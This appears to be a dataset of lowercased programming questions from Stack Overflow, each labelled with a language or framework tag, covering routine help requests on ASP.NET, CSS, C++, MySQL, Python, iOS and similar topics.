asp.net datagrid  is it possible to disable sorting on specific columns   is it possible to disable sorting on specific columns     5 out of 7 columns have to be sortable  two not sortable. the columns are created dynamically in code behind  so i think doing this with mark up is out of the question.    when i say disabled  i m hoping that the underline wont show on the column header when you mouse over it.    any help apprciated.,asp.net
are there any css standards that i should follow while writing my first stylesheet   i am currently working on my first website.  i have no idea where to start on the css page  or if there are any standards that i should be following.    i would appreciate any links or first-hand advise.,css
finding midnight from a stored variable  i have a web page that will allow customers to enter a date/time and i want to be able to stored that variable and then add to that time until midnight  store that as a second variable and pass it to my sql server. is there an easy way to do that,asp.net
sql delete from rows value  the database includes a table with a rows: html/css/java/php    how with sql query delete  java      the result would be: html/css/php,sql
project euler #8 - what am i doing wrong  (c++)  i ve been trying to solve this problem for a while now. the code below works for 4 digits (it matches with the answer they give) and it even works for 5 consecutive digits (which was what the problem previously asked for)  but it doesn t seem to work for 13 consecutive digits.     can someone tell me what im doing wrong    <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;fstream&gt;  using namespace std;  int char_to_string(char);  int main() {     /*****************************************************/     /*********** project euler: problem #8 ***************/     /*****************************************************/      fstream file( grid.txt   ios::in); // open file for reading      if(!file)     {         cout &lt;&lt;  file not opened! ;         return 0;     }      int row = 20;     int column = 50;     int num;     char arr[row][column];     int intarr[row][column];      for(int i = 0; i&lt;row; i++)     {         for(int j = 0; j&lt;column; j++)         {              file &gt;&gt; arr[i][j];             intarr[i][j] = char_to_string(arr[i][j]);         }     }       long long prod = 1;     long long int maxprod = 1;     for(int i = 0; i&lt;row; i++)     {         for(int j = 0; j&lt;column; j++)         {            if(j&lt;=column-13)            {                 int temp = j;                 for(int n = 1; n&lt;=13; n++)                 {                     prod *= intarr[i][temp];                          temp++;                  }                  if(prod &gt; maxprod)                     maxprod = prod;                  prod = 1;             }          }     }      cout &lt;&lt;  maxprod =   &lt;&lt; fixed &lt;&lt; maxprod &lt;&lt; endl; </code></pre>,c++
review system  has_many  belongs_to  i sadly encounter the problem  that when i try to create a review the product_id stays nil. whats the cleanest way to fill this in for the product that i want to review     reviews_controller     <pre><code>def create @user = current_user @review = @user.reviews.new(params[:review]) if @review.save   redirect_to products_path  notice:  thank you for your review  else     render  new    end end </code></pre>   my product  review and user are set up with the has_many and belongs_to relationships.    the new view for the review   <pre><code>%h1 write a review  = form_for @review do |f|   %fieldset     = f.label :review     = f.text_area :review   %fieldset     = f.label :rating     = f.text_field :rating   %fieldset     = f.submit  post review   class:  btn btn-large btn-primary  </code></pre>   i m aware that i m not finding the product - how do i get to that,ruby-on-rails
extract parts of the string in python  i have to parse an input string in python and extract certain parts from it.    the format of the string is    <pre><code>(xx yyy (aa bb ...)) // inner parenthesis can hold one or more characters in it </code></pre>   i want a function to return xx  yyyy and a list containing aa  bb ... etc    i can ofcourse do it by trying to split of the parenthesis and stuff but i want to know if there a proper pythonic way of extracting such info from a string    i have this code which works  but is there a better way to do it (without regex)   <pre><code>def processinput(inputstr):     value = inputstr.strip()[1:-1]     parts = value.split(     2)     return parts[0]  parts[1]  (parts[2].strip()[1:-1]).split(   ) </code></pre>,python
c++ - one function makes others malfunction  here is my task:    write class word which has:   <ol> <li>pointer on array of characters</li> <li>constructors and destructors</li> <li>function to read word</li> <li>function to check if character which is passed to it as argument occurs in word and return position of occurance</li> <li>function to check which of two words has more occurances of number 10 and to return that number of occurances</li> </ol>   here is my solution. i compiled it without errors but it doesn t work as it shoud.   <pre><code>#include &lt;iostream&gt; #include &lt;string.h&gt;  using namespace std;  class word   {     private:        char *content;        int length;     public:        word();        word(char *);        ~word();        void print_content(void);        int check_character(char);        friend int check_number(word word);   };   word::word()   {   }  word::word(char *n)   {     length=strlen(n);     content=new char [length];     for(int i=0;i&lt;length;i++)       {          content[i]=n[i];       }   }   word::~word()   {     delete content;   }   void word::print_content(void)   {     for(int i=0;i&lt;length;i++)       {         cout&lt;&lt;  &lt;&lt;content[i];       }   }   int word::check_character(char a)   {     int position=0;     for(int i=0;i&lt;length;i++)       {          if(content[i]==a)           {             position=i+1;           }       }     if(position&gt;0)       {         return position;       }     else return 0;   }   int check_number(word n word m)   {     int counter_n=0;     int counter_m=0;     for(int i=1;i&lt;n.length;i++)       {         if((n.content[i-1]== 1 )&amp;&amp;(n.content[i]== 0 ))           {             counter_n=counter_n+1;           }       }     for(int i=1;i&lt;m.length;i++)       {         if((m.content[i-1]== 1 )&amp;&amp;(m.content[i]== 0 ))           {             counter_m=counter_m+1;           }       }     if(counter_n&gt;counter_m)       {          return counter_n;       }     else if(counter_n&lt;counter_m)       {         return counter_m;       }     else return 0;   }   int main()   {     char characters1[]= qwerty10  *p1 *p2;     char characters2[]= stackoverflow101010 ;     p1=characters1;     p2=characters2;     word first(p1);     word second(p2);     cout&lt;&lt;  &lt;&lt;first.check_character( q )&lt;&lt;endl;     cout&lt;&lt;  &lt;&lt;second.check_character( f )&lt;&lt;endl;      //cout&lt;&lt;  &lt;&lt;check_number(first second)&lt;&lt;endl;       first.print_content();     second.print_content();   } </code></pre>   function check_number(first second) for some reason makes other functions to work incorrectly  if you call it by removing  //  you will see that first.print_content() and second.print_content() don t give us correct result. or if function first.check_character( r ) is first called  second.check_character( j ) second called and then check_number(first second)  then two firsly called functions don t work. what s reason for this strange behaviour,c++
facebook image sharing working in emulator but not in device  now i am working on a android application. in my app i have to submit a image from my gallery to facebook.i used the following code.   <pre><code>if (item == 1) {         intent intent = new intent();                  intent.settype( image/* );                 intent.setaction(intent.action_get_content);  startactivityforresult(intent.createchooser(intent   complete      action using )  pick_from_file); }   protected void onactivityresult(int requestcode  int resultcode  intent data)  {         if (resultcode != result_ok) return;          bitmap bitmap   = null;          if (requestcode == pick_from_file) {              mimagecaptureuri = data.getdata();               mpath = getrealpathfromuri(mimagecaptureuri); //from gallery               if (mpath == null){                     mpath = mimagecaptureuri.getpath(); //from file manager             }               if (mpath != null) {                 system.out.println( mpath is not null +mpath);                 bitmap  = bitmapfactory.decodefile(mpath);             }          } } private void posttofacebook(string desc){         asyncfacebookrunner masyncfbrunner = new asyncfacebookrunner(mfacebook);      bundle params = new bundle();       try {          params.putbytearray( photo           utility.scaleimage(getapplicationcontext() mimagecaptureuri));     } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     }      params.putstring( caption   desc);      masyncfbrunner.request( me/photos   params   post                new photouploadlistener()); } </code></pre>   its working fine for me in emulater but in real device image is not posting.but no crash.please help me friends,android
how to get data back from webserver with nsmutableurlrequest  i try to build an app for user that enter his data and this data will be post to a webserver for save in a database. this web server returns some data back like id or something else. how i can receive the data the webserver returns back  the transfer works already with nsmutableurlrequest. but i search for a sollution to read the answer from the web server and display it on a label.,iphone
c programming percentage help 2 dice programn rolled 10000 times  starting from scratch  repeat part 4  with 2 dice.   let’s use 10 000 this time instead of 1000.    each die can be from 1 - 6  so the total of 2 dice must be in the range 2 – 12.    your output will be in the range of 2 – 12.      notice that it is much less likely to roll a 2 than it is to roll a 7  since a 2 can only be rolled a  1 + 1.  but a 7 can be 6 + 1  5 + 2  4 + 3  3 + 4  2 + 5  1 + 6.    count how many times each value occurs and output that count as in the previous part.    calculate what percentage of the time you roll a 2  3  4  etc. up to 12.  output the percentages with an accuracy of one place past the decimal.  post the results of this one on the discussion board.      my question is in my program i wrote it so that it outputs the amount rolled. i m having extreme problems trying to use a percentage formula to output the % of the rolled dice.     here is my code so far.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #define size 11 #define total 10000   int main(void)   {      int cnt = 0;     int die1  die2  sum;     int array[size];     srand(time(null));      for (cnt = 0; cnt &lt; size; cnt++)         array[cnt] = 0;      for (cnt = 0; cnt &lt; total; cnt++)     {         die1 = rand() % 6 + 1;         die2 = rand() % 6 + 1;         sum = die1 + die2;         ++array[sum-2];     }     for (cnt = 0; cnt &lt; size; cnt++)         printf( number of %d s: %d\n   cnt+2  array[cnt]);     system( pause ); } </code></pre>,c
css with one fixed width column and another 100% width  i have a layout requirement whereby the right column needs to be fixed width and the left column should span whatever width is available.    i understand that i can remove the width and float from the left column and that should make it take up entire space available.    here is what i have    <pre><code>&lt;div style= height:300px;border:1px solid red;padding:10px; &gt;     &lt;div style= height:200px;border:1px solid red;margin-right:150px; &gt;         this should take all width     &lt;/div&gt;     &lt;div style= height:200px;border:1px solid green;float:right;width:120px; &gt;         this is right bar with fixed width     &lt;/div&gt;     &lt;/div&gt; </code></pre>   any ideas,css
why are no keys used in this explain   i was expecting this query to use a key.   <pre><code>mysql&gt; describe table foo; +-------+-------------+------+-----+---------+----------------+ | field | type        | null | key | default | extra          | +-------+-------------+------+-----+---------+----------------+ | id    | bigint(20)  | no   | pri | null    | auto_increment | | name  | varchar(50) | no   | uni | null    |                | +-------+-------------+------+-----+---------+----------------+  mysql&gt; explain select id from foo where name= foo ; +----+-------------+-------+------+---------------+------+---------+------+------+-----------------------------------------------------+ | id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | extra                                               | +----+-------------+-------+------+---------------+------+---------+------+------+-----------------------------------------------------+ |  1 | simple      | null  | null | null          | null | null    | null | null | impossible where noticed after reading const tables | +----+-------------+-------+------+---------------+------+---------+------+------+-----------------------------------------------------+ </code></pre>   foo has a unique index on <code>name</code>  so why isn t the index being used in the <code>select</code>,mysql
confused about the `struct objc_class` in `objc2` <pre><code>struct objc_class {      class _nonnull isa  objc_isa_availability;   #if !__objc2__     class _nullable super_class                              objc2_unavailable;      const char * _nonnull name                               objc2_unavailable;      long version                                             objc2_unavailable;      long info                                                objc2_unavailable;      long instance_size                                       objc2_unavailable;      struct objc_ivar_list * _nullable ivars                  objc2_unavailable;      struct objc_method_list * _nullable * _nullable methodlists  objc2_unavailable;      struct objc_cache * _nonnull cache                       objc2_unavailable;      struct objc_protocol_list * _nullable protocols          objc2_unavailable;  #endif  } objc2_unavailable; </code></pre>   this is the <code>objc_class struct</code>  does it means that <code>objc2.0</code> only contain <code>isa</code>  the <code>xcode9.2</code> is using <code>objc2.0</code>  where are the super_class  name and others stored,objective-c
increase font size in th colspan without css  ok. i was given a pre-work assignment for a programming bootcamp to set up a simple biography without using css. we also have to use a html validator which i did. now i can t figure out what the error means. i am putting my name as a table title and i used h2 tags inside th colspan so i could make the name bigger. the validator says its wrong but it shows up fine in the browser and i don t know how to fix it for the validator. so here is the snipet of code with the problems. (also line 16 is table border line 18 is tr border and line 20 is th colspan.)    <pre><code>&lt;!doctype html&gt; &lt;html lang = en &gt;     &lt;head&gt;         &lt;meta charset = utf-8 &gt;         &lt;title&gt;levi s biography&lt;/title&gt;     &lt;!-- lines 6 through 11 are simply added for developing the page to a future standard --&gt;         &lt;link rel= stylesheet  type= text/css   href= mybio.css &gt;          &lt;script src= /jquery.js &gt;&lt;/script&gt;         &lt;script type= text/javascript  src= /js/jquery-1.3.1.js &gt;&lt;/script&gt;      &lt;/head&gt;      &lt;body&gt;            &lt;table border= 4px &gt;             &lt;thead&gt;                 &lt;tr border= 3px &gt;                  &lt;!-- html validator says lines 16  18  and 20 are wrong even though browser shows up well. how do i fix this  --&gt;                   &lt;th colspan= 4 &gt;&lt;h2&gt;levi donaldson&lt;/h2&gt;&lt;/th&gt;                 &lt;/tr&gt;             &lt;/thead&gt;              &lt;tbody&gt;                              &lt;tr&gt;                     &lt;td style= font-family:copperplate &gt;&lt;h3&gt;born&lt;/h3&gt;&lt;/td&gt;                     &lt;td style= font-family:copperplate &gt;&lt;h3&gt;grew up&lt;/h3&gt;&lt;/td&gt;                     &lt;td style= font-family:copperplate &gt;&lt;h3&gt;hobbies&lt;/h3&gt;&lt;/td&gt;                     &lt;td style= font-family:copperplate &gt;&lt;h3&gt;foods&lt;/h3&gt;&lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;moenci  az&lt;/td&gt;                     &lt;td&gt;mesa  az                         &lt;br&gt;                     wasilla  ak                         &lt;br&gt;                      eagar  az                         &lt;br&gt;                      cliff  nm                     &lt;/td&gt;                      &lt;td&gt;quality family time                         &lt;br&gt;                      traveling                         &lt;br&gt;                      fishing                         &lt;br&gt;                      cooking                         &lt;br&gt;                      passive income streams                         &lt;br&gt;                      creating things or improving their designs                     &lt;/td&gt;                      &lt;td&gt;a great steak                         &lt;br&gt;                      sushi &lt;em&gt;(with scallops if possible)&lt;/em&gt;                         &lt;br&gt;                      brazilian rice and beans                         &lt;br&gt;                      home grown fruit                         &lt;br&gt;                      fresh garden veggies and herbs                         &lt;br&gt; cheesecake &lt;strong&gt;(but for heavens sake  no new york style)&lt;/strong&gt;                     &lt;/td&gt;                 &lt;/tr&gt;             &lt;/tbody&gt;           &lt;/table&gt;          &lt;img src= http://1.bp.blogspot.com/_b3dsgzaqfks/srfdqjxbsoi/aaaaaaaaadc/invyqmqqzks/s220/katie%26levi2+001.jpg  alt= levi wedding  /&gt;      &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
how to find multiple in c#  how might i find out  in an if statement  weather the specified int is a multiple of 5  this is what i mean:   <pre><code>if(x [is a multiple of] 5) {     console.writeline( yes ); } </code></pre>   what would be [is a multiple of]     also  why is it that when i do:   <pre><code>if(x = 5) {     console.writeline( sdjfdslf ); } </code></pre>   it shows  x = 5  in red and tells me  can not implicitly convert type  int  to  bool   i am using x as an input.,c#
comparing strings in lists using python  i have two lists which i have picked from a column of a dataset from the server   <pre><code>keywords =(( nike shoes  ) ( adidas shoes  ) ( levice jeans  ) ( adidas jersey  ))  chats = (( nike shoes have an offer  ) ( they are at a discount )           ( nike shoes are the best  ) ( they have other offers as well  )           ( they have introduced new shoes which are awesome  )) </code></pre>   both lists are in exactly the same format as above    i want a third list which will store all the common words from the keywords list.   <pre><code>o/p - list3 = ( nike shoes ) </code></pre>   i have tried various things but found errors like  list values should be integers not tuples,python
error: error 1215: cannot add foreign key constraint  i get error: error: error 1215: cannot add foreign key constraint    i read other similar topics and <a href= http://dev.mysql.com/doc/refman/5.7/en/create-table-foreign-keys.html  rel= nofollow >http://dev.mysql.com/doc/refman/5.7/en/create-table-foreign-keys.html</a> obviously however i can t fix the issue.    the code is generated as follows (and it should work flawlessly god damn it):   <pre><code>set @old_unique_checks=@@unique_checks  unique_checks=0; set @old_foreign_key_checks=@@foreign_key_checks  foreign_key_checks=0; set @old_sql_mode=@@sql_mode  sql_mode= traditional allow_invalid_dates ;  create schema if not exists `foilmaster` default character set latin1 ; use `foilmaster`;  -- ----------------------------------------------------- -- table `foilmaster`.`company` -- -----------------------------------------------------  drop table if exists `foilmaster`.`company` ;  create  table if not exists `foilmaster`.`company` (     `idcompany` mediumint(9) not null auto_increment       `name` varchar(85) not null       `country` varchar(35) not null       `potentialsalescale` smallint not null comment  1-100 where 1 is 1 pallete a month and 100 is 1 truck a week        `dateadded` timestamp not null default current_timestamp       primary key (`idcompany`) ) engine = innodb;  -- ----------------------------------------------------- -- table `foilmaster`.`contactdata` -- -----------------------------------------------------  drop table if exists `foilmaster`.`contactdata` ;  create  table if not exists `foilmaster`.`contactdata` (     `idcompany` mediumint(9) not null       `phone` varchar(45) not null       index `fk_contactdata_company_idx` (`idcompany` asc)       primary key (`idcompany`)       constraint `fk_contactdata_company` foreign key (`idcompany` )         references `foilmaster`.`company` (`idcompany` )         on delete no action         on update no action     ) engine = innodb;  use `foilmaster` ;  set sql_mode=@old_sql_mode; set foreign_key_checks=@old_foreign_key_checks; set unique_checks=@old_unique_checks; </code></pre>   innodb status shows this:   <pre><code>===================================== 2013-05-26 13:07:32 460 innodb monitor output ===================================== per second averages calculated from the last 52 seconds ----------------- background thread ----------------- srv_master_thread loops: 8 srv_active  0 srv_shutdown  7450 srv_idle srv_master_thread log flush and writes: 7458 ---------- semaphores ---------- os wait array info: reservation count 20 os wait array info: signal count 19 mutex spin waits 2  rounds 0  os waits 0 rw-shared spins 19  rounds 570  os waits 19 rw-excl spins 1  rounds 30  os waits 1 spin rounds per wait: 0.00 mutex  30.00 rw-shared  30.00 rw-excl ------------------------ latest foreign key error ------------------------ 2013-05-26 13:07:16 f0c error in foreign key constraint of table foilmaster/contactdata: there is no index in referenced table which would contain the columns as the first columns  or the data types in the referenced table do not match the ones in table. constraint:     constraint  id  foreign key ( id ) references  company  ( id ) the index in the foreign key in table is  primary  see http://dev.mysql.com/doc/refman/5.6/en/innodb-foreign-key-constraints.html for correct foreign key definition. ------------ transactions ------------ trx id counter 3386 purge done for trx s n:o &lt; 3386 undo n:o &lt; 0 state: running but idle history list length 240 list of transactions for each session: ---transaction 0  not started mysql thread id 12  os thread handle 0x460  query id 394 localhost 127.0.0.1 root init show engine innodb status ---transaction 0  not started mysql thread id 2  os thread handle 0x1560  query id 83 localhost 127.0.0.1 root cleaning up -------- file i/o -------- i/o thread 0 state: wait windows aio (insert buffer thread) i/o thread 1 state: wait windows aio (log thread) i/o thread 2 state: wait windows aio (read thread) i/o thread 3 state: wait windows aio (read thread) i/o thread 4 state: wait windows aio (read thread) i/o thread 5 state: wait windows aio (read thread) i/o thread 6 state: wait windows aio (write thread) i/o thread 7 state: wait windows aio (write thread) i/o thread 8 state: wait windows aio (write thread) i/o thread 9 state: wait windows aio (write thread) pending normal aio reads: 0 [0  0  0  0]   aio writes: 0 [0  0  0  0]    ibuf aio reads: 0  log i/o s: 0  sync i/o s: 0 pending flushes (fsync) log: 0; buffer pool: 0 405 os file reads  168 os file writes  82 os fsyncs 0.00 reads/s  0 avg bytes/read  0.37 writes/s  0.17 fsyncs/s ------------------------------------- insert buffer and adaptive hash index ------------------------------------- ibuf: size 1  free list len 0  seg size 2  0 merges merged operations:  insert 0  delete mark 0  delete 0 discarded operations:  insert 0  delete mark 0  delete 0 hash table size 58207  node heap has 0 buffer(s) 0.00 hash searches/s  0.81 non-hash searches/s --- log --- log sequence number 8995932 log flushed up to   8995932 pages flushed up to 8995932 last checkpoint at  8995932 0 pending log writes  0 pending chkp writes 43 log i/o s done  0.08 log i/o s/second ---------------------- buffer pool and memory ---------------------- total memory allocated 30048256; in additional pool allocated 0 dictionary memory allocated 55489 buffer pool size   1792 free buffers       1369 database pages     423 old database pages 0 modified db pages  0 pending reads 0 pending writes: lru 0  flush list 0 single page 0 pages made young 0  not young 0 0.00 youngs/s  0.00 non-youngs/s pages read 391  created 32  written 97 0.00 reads/s  0.08 creates/s  0.21 writes/s buffer pool hit rate 1000 / 1000  young-making rate 0 / 1000 not 0 / 1000 pages read ahead 0.00/s  evicted without access 0.00/s  random read ahead 0.00/s lru len: 423  unzip_lru len: 0 i/o sum[0]:cur[0]  unzip sum[0]:cur[0] -------------- row operations -------------- 0 queries inside innodb  0 queries in queue 0 read views open inside innodb main thread id 2672  state: sleeping number of rows inserted 0  updated 0  deleted 0  read 0 0.00 inserts/s  0.00 updates/s  0.00 deletes/s  0.00 reads/s ---------------------------- end of innodb monitor output ============================ </code></pre>   spent 2 hours on that so far.... just staring :p,mysql
use nsurlsession to check for connection response  since nsurlconnection has been deprecated in ios 9.0  it says i have to use nsurlsession from now on. i need some help though. i use nsurlconnection with a delegate just to check if the url gives a response. how would i do this with nsurlsession     my code:   <pre><code>nsmutableurlrequest *request = [nsmutableurlrequest requestwithurl:url];     [request sethttpmethod:@ head ];     nsurlconnection *connection;     connection = [nsurlconnection connectionwithrequest:request delegate:self];  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response {     if ([(nshttpurlresponse *)response statuscode] == 200) {         //do things     } }  - (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error {     //do other things } </code></pre>   thank you!,ios
variable is not being replaced in aspx  i have 2 aspx files:    in a.aspx:   <pre><code>&lt;% string user =  &lt;a href=\ b.aspx id=&lt;%=dz_now%&gt;\ &gt;in a.aspx.cs&lt;/a&gt; ; response.write(user); %&gt; </code></pre>   in b.aspx.cs   <pre><code>string id = request.querystring[ id ].tostring(); ​response.write(id); </code></pre>   when i run <code>a.aspx</code> and click on the link  the value of <code>id</code> from <code>b.aspx</code> is  <code>&lt;%=dz_now%&gt;</code> .    why,asp.net
"dynamically create the input text id  and get it in javascript and load values in ui  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>osapi.xxxx.xxxxxx.people.get({id: userid}).execute(function (person) {
         var profile = person.jive.profile;
         var profilename = person.name;
         var profilephnumber = person.phonenumbers;
         profile.foreach(function (obj) {
             if (obj.jive_label ===  department ) {
                 console.log( department value is:   + obj.value);
                 document.getelementbyid( getdepartmentvalue ).value = obj.value;
             }
             if (obj.jive_label ===  office ) {
                 console.log( office location is:   + obj.value);
                 document.getelementbyid( getlocationvalue ).value = obj.value;
             }
             if (obj.jive_label ===  languages ) {
                 console.log( languages known are:   + json.stringify(obj.values));
                 document.getelementbyid( getlanguagesvalue ).value = json.stringify(obj.values);
             }
         });
 
         for(var profileformatname in profilename){
             if(profileformatname ===  formatted ){
                 console.log( profile name:   +profilename[profileformatname]);
                 document.getelementbyid( getpersonnamevalue ).value = profilename[profileformatname];
             }
         }
         profilephnumber.foreach(function (obj) {
             if (obj.jive_label ===  phone number ) {
                 console.log( phone number is:   + obj.value);
                 document.getelementbyid( getphonenumbervalue ).value = obj.value;
             }
         });
     });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>  &lt;button id= target_people_picker  class= btn btn-primary  autofocus&gt;getuser&lt;/button&gt;
                     &lt;table border= 1 &gt;
                         &lt;tr&gt;
                             &lt;td&gt;name:&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= getpersonnamevalue  value=    /&gt;&lt;/td&gt;
                         &lt;/tr&gt;
                         &lt;tr&gt;
                             &lt;td&gt;department:&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= getdepartmentvalue  value=    /&gt;&lt;/td&gt;
                         &lt;/tr&gt;
                         &lt;tr&gt;
                             &lt;td&gt;location:&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= getlocationvalue  value=    /&gt;&lt;/td&gt;
                         &lt;/tr&gt;
                         &lt;tr&gt;
                             &lt;td&gt;phone number:&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= getphonenumbervalue  value=    /&gt;&lt;/td&gt;
                         &lt;/tr&gt;
                         &lt;tr&gt;
                             &lt;td&gt;languages:&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= getlanguagesvalue  value=    /&gt;&lt;/td&gt;
                         &lt;/tr&gt;
                     &lt;/table&gt;</code></pre>
 </div>
 </div>
     above is my js and html snippet.    the above code works if there is only one userid passed like 100 in above case.  if i wanted to iterate the same code snippet if there are 10 users  then i have to make sure to create a new dynamically input text fields and pass their id to javascript by document.getelement  so that js can send value to the ui.<br> how can i make sure for all 10/20/40 users to run the same code snippet but it should create new fields    example:-",javascript
<td> has background image css  i am working on jquery. in my html i have many td and in which some td has background image.like   <pre><code>&lt;td background= images/bgblue.jpg &gt; </code></pre>   so i want to find out which td has background as image or not. i want to change the image of td which have background= images/bgblue.jpg .    thanks,jquery
php how to remove a specific string/words from the phrase   this set of strings came from my xml feed. i want to remove the part from property features: to the last. i badly need your help.   <pre><code>semi fitted office for sale in tower with partition and kichen      property features:      -basement parking      -central air conditioning      -covered parking </code></pre>   should be...   <pre><code>semi fitted office for sale in tower with partition and kichen </code></pre>   thanks. any help would be much appreciated.,php
how to return the most recent value with group by  i have this query :   <pre><code>select history.trackid  tracklist.artist  tracklist.event  tracklist.data  history.date from history join tracklist on history.trackid=tracklist.trackid  group by trackid  order by history.date desc </code></pre>   but i d like to return the most recent <code>trackid</code> (by <code>date</code>) when i group on <code>history</code>.    tried with that <code>group by</code> and <code>order by desc</code>  but is not the most recent. where am i wrong,mysql
aspnet_regiis -- encryption support for web.config /app.config files: not available on windows 10   when i run aspnet_regiis -  on windows 10  the various crypto options are not listed (e.g. -pc  -pef  -pdf  etc)    they are listed on server.    this means that i cannot manage .config crypto on windows 10   (the place where i most want/need to...),.net
wrong code about c++ char*. any body view  <pre><code>#include&lt;stdlib.h&gt; #include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;iostream&gt; using namespace std; #define attr_size 3  int main(){ const char* attr[attr_size]; int i=0; for(i=0;i&lt;attr_size;i++){      char* t=(char*)malloc(sizeof(int));     sprintf(t  %d  i);     string temp= attr ;     temp+=t;     attr[i]=temp.c_str();     cout&lt;&lt;attr[i]&lt;&lt;endl;     free(t); } for(i=0;i&lt;attr_size;i++){     cout&lt;&lt;attr[i]&lt;&lt;endl; } } </code></pre>   and the result is:   <pre><code>attr0 attr1 attr2 attr2 attr attr2 </code></pre>   actually  i want to get the result that:   <pre><code>attr0 attr1 attr2 attr0 attr1 attr2 </code></pre>   maybe something wrong with loop. anybody help me,c++
how to change account/login asp:literal  i default login in asp.net when something in passowrd or username is wrong i have this message : <code>your login attempt was not successful. please try again.</code>    this is some asp:literal  how can i change this text,asp.net
thread 1 sigabrt  i am trying to follow along with the itunes u course coding together  which covers objective c. when i compile the first code  it builds with no errors  but when it runs  i get an error that says thread 1: sigabrt. in the main file   <pre><code> // //  main.m //  card // //  created by sid muthal on 6/25/13. //  copyright (c) 2013 sidmuthal. all rights reserved. //  #import &lt;uikit/uikit.h&gt;  #import  cardgameappdelegate.h    int main(int argc  char *argv[]) { @autoreleasepool {     return uiapplicationmain(argc  argv  nil  nsstringfromclass([cardgameappdelegate    class])); } } </code></pre>   it appears over the line that reads return uiapplicationmain(argc  argv  nil  nsstringfromclass([cardgameappdelegate class]));    when i use the gdb debugger  it gives the following reason for this crash    2013-07-14 14:08:46.052 matchgame[3148:c07] * terminating app due to uncaught exception  nsunknownkeyexception   reason:  [ setvalue:forundefinedkey:]: this class is not key value coding-compliant for the key card_button.  * first throw call stack: (0x1c94012 0x10d1e7e 0x1d1cfb1 0xb7de41 0xaff5f8 0xaff0e7 0xb29b58 0x233019 0x10e5663 0x1c8f45a 0x231b1c 0xf67e7 0xf6dc8 0xf6ff8 0xf7232 0x463d5 0x4676f 0x46905 0xcd6eab6 0x4f917 0x1396c 0x1494b 0x25cb5 0x26beb 0x18698 0x1befdf9 0x1befad0 0x1c09bf5 0x1c09962 0x1c3abb6 0x1c39f44 0x1c39e1b 0x1417a 0x15ffc 0x20ed 0x2015) libc++abi.dylib: terminate called throwing an exception    it appears to be something wrong with my view controller. below is the code that i am using for the game controller.   <pre><code>// //  cardgameviewcontroller.m //  card // //  created by sid muthal on 6/25/13. //  copyright (c) 2013 sidmuthal. all rights reserved. //      #import  cardgameviewcontroller.h   @interface cardgameviewcontroller () @property (weak  nonatomic) iboutlet uilabel *flipslabel; @property(nonatomic) int flipcount; @property (strong  nonatomic) iboutletcollection(uibutton) nsarray *cardbutton; @end  @implementation cardgameviewcontroller      -(void)setflipcount:(int)flipcount {     _flipcount = flipcount;     self.flipslabel.text = [nsstring stringwithformat:@ flips: %d   self.flipcount];  }      - (ibaction)flipcard:(uibutton *)sender {     sender.selected = !sender.selected;     self.flipcount++; }  @end </code></pre>   below is the h file.   <pre><code>// //  cardgameviewcontroller.h //  card // //  created by sid muthal on 6/25/13. //  copyright (c) 2013 sidmuthal. all rights reserved. //  #import &lt;uikit/uikit.h&gt;  @interface cardgameviewcontroller: uiviewcontroller   @end </code></pre>   ive been struggling with this for a while so any help would be much appreciated. i m still new to objective c. thank you.,objective-c
python 2.2: how to get the lower 32 bits out of a 64 bit number   i have a 64 bit number comprised of various bit fields and i m writing a simple python utility to parse the number.  the problem i m facing is that the lower 32 bits comprise of one field and using some combination of bit shifts or bit masking doesn t give just the 32 bits.     <pre><code>big_num = 0xffffffffffffffff some_field = (big_num &amp; 0x00ffff0000000000) # works as expected field_i_need = big_num &amp; 0x00000000ffffffff # doesn t work   </code></pre>   what happens is that <code>field_i_need</code> is equal to <code>big_num</code>  not the lower 32 bits.    am i missing something simple here     thanks!    matthew,python
str_replace not working  i want to delete all occurrences of this substring from my html file:   <pre><code>&lt;span style= font-size: 12pt; &gt;blank page&lt;/span&gt; </code></pre>   i tried str_replace  thinking that would be a simple solution  but it does not work:   <pre><code>$html = str_replace( &lt;span style= font-size: 12pt; &gt;blank page&lt;/span&gt;       $html); </code></pre>   any suggestions     update:  mystery solved!  thanks to everyone for letting me know that this <em>should</em> work.  turns out the problem had nothing to do with str_replace!  i had grabbed the html string from firebug  not realizing that firebug inserts spaces to  prettify  the html.  that s why str_replace failed to find this exact pattern. i would ideally like to delete this question   since the problem ended up having nothing to do with str_replace.  is that possible,php
is it possible to prevent a child div from inheriting its parent div s controller   i m wondering if its possible to prevent a child div within a nested div inheriting its parent controller.    <pre><code>&lt;div id= parentdiv  ng-controller= parentctrl &gt;      &lt;div id= childdiv  ng-controller= childctrl &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   imagine i have a scope variable called <code>name</code>  how could i ensure that name is not accessible in side <code>childdiv</code>.    see <a href= http://plnkr.co/edit/yw1rl4iye84cfku5b6hl p=preview  rel= nofollow >plunk</a>.    it s not problematic to have a child div accessing the variables of its parent controller but it just doesnt feel right. what about naming collisions on so on,angularjs
